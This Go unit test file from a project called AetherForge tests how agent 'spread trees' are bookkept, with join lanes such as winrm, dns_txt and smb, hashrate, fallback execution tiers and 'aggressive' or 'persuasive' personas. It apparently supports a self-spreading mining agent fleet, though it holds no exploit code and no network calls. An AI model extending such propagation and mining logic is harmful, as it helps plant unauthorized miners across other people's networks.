Files
AetherForge/server/internal/strategy/strain_card_test.go
AetherForge 23d107b144 Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
2026-06-07 09:20:44 -07:00

94 lines
2.9 KiB
Go

package strategy
import "testing"
func TestSpreadStrainFromJoinLaneStable(t *testing.T) {
a := SpreadStrainFromJoinLane("winrm")
b := SpreadStrainFromJoinLane("winrm")
if a != b || a == "" {
t.Fatalf("strain not stable: %q vs %q", a, b)
}
if SpreadStrainFromJoinLane("dns_txt") == a {
t.Fatal("different lanes should differ")
}
}
func TestCollectSpreadTreeRootAndDescendants(t *testing.T) {
agents := []SpreadTreeAgent{
{ID: "root", Name: "Root", SpreadGeneration: 0},
{ID: "mid", Name: "Mid", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "winrm"},
{ID: "leaf", Name: "Leaf", ParentAgentID: "mid", SpreadGeneration: 2, JoinLane: "dns_txt", Hashrate: 500},
{ID: "other", Name: "Other", ParentAgentID: "root", SpreadGeneration: 1, JoinLane: "smb"},
}
root, tree := CollectSpreadTree(agents, "leaf")
if root != "root" {
t.Fatalf("root = %q want root", root)
}
if len(tree) != 4 {
t.Fatalf("tree size = %d want 4", len(tree))
}
}
func TestBuildStrainCardFromWinningTree(t *testing.T) {
agents := []SpreadTreeAgent{
{ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0},
{ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800},
}
card := BuildStrainCard(BuildStrainCardInput{
SourceAgentID: "child",
SourceAgentName: "Child",
SpreadLane: "dns_txt",
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
PeakHashrate: 800,
Attempts: []TierAttempt{
{Tier: "docker", OK: false},
{Tier: "container", OK: true},
{Tier: "wsl", OK: true},
},
TreeAgents: agents,
ParentLanes: []string{"winrm"},
})
if card.RootAgentID != "root" || card.TreeSize != 2 {
t.Fatalf("card root/tree: %+v", card)
}
if len(card.Wins) != 2 || len(card.Losses) != 1 {
t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses)
}
if card.Persona != "persuasive" {
t.Fatalf("persona = %q", card.Persona)
}
if len(card.Subnets) != 2 {
t.Fatalf("subnets = %v", card.Subnets)
}
if card.ErasureRecoveryRate != 1 {
t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate)
}
if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") {
t.Fatalf("strain = %q", card.SpreadStrain)
}
}
func TestTemperamentFromCardUsesTierOrder(t *testing.T) {
card := StrainCard{
ID: "card-1",
Persona: "balanced",
TierOrder: []string{"container", "wsl"},
}
temp := TemperamentFromCard(card)
if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" {
t.Fatalf("temperament = %+v", temp)
}
if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" {
t.Fatalf("reasoning = %+v", temp.Reasoning)
}
}
func TestPersonaFromSpreadLane(t *testing.T) {
if PersonaFromSpreadLane("winrm") != "aggressive" {
t.Fatal("winrm should map aggressive")
}
if PersonaFromSpreadLane("dns_txt") != "persuasive" {
t.Fatal("dns_txt should map persuasive")
}
}